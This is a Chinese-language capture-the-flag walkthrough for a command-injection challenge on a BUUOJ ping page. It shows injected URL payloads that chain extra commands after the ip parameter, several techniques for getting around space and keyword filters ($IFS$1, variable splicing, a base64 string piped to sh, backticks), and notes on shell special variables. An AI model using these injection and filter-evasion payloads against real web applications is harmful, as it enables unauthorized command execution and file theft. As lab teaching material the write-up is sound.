打开环境
先ping一下本地
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1
利用分号执行多命令
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;ls
直接cat
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;cat%20flag.php
过滤了空格
有几个绕过空格的方法:
$IFS
${IFS}
$IFS$1 这个数字换成别的都可以
<
<>
{cat,flag.php}
%20
%09
IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space
, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量
Shell中的$0、$1、$2的含义
$0 Shell本身的文件名
$1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…
$$ Shell本身的PID(ProcessID)
$! Shell最后运行的后台Process的PID
$? 上个命令的退出状态,或函数的返回值 $- 使用Set命令设定的Flag一览
$* 所有参数列表,不包括脚本本身。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有数。
$@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。
$# Shell的参数个数
先使用第一个绕过方法
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;cat$IFSflag.php
看来flag也被过滤掉了
cat一下index.php
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;cat$IFSindex.php
没反应,换一个空格绕过方法:
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;cat{IFS}index.php
{}也被过滤了
尝试$IFS$1
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;cat$IFS$1index.php
成功打开,看来过滤了很多字符啊
方法1:
但是可以看到有一个$a的变量,可以将变量a赋值g,赋值给其他的字母全失败了,猜测是怕混淆吧,赋值给g之后$a后面就是.php,就不怕混淆了。
构造payload:
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
flag在源码里
方法2:
index.php看到/bash/命令被过滤了
但是可以使用sh
先将cat flag.php base64编码Y2F0IGZsYWcucGhw
构造payload:
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
flag在源码里
方法3:内联注入
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;cat$IFS$1`ls`
inux下反引号``里面包含的就是需要执行的系统命令
先执行反引号里面的命令,也就是先ls,然后cat两个文件。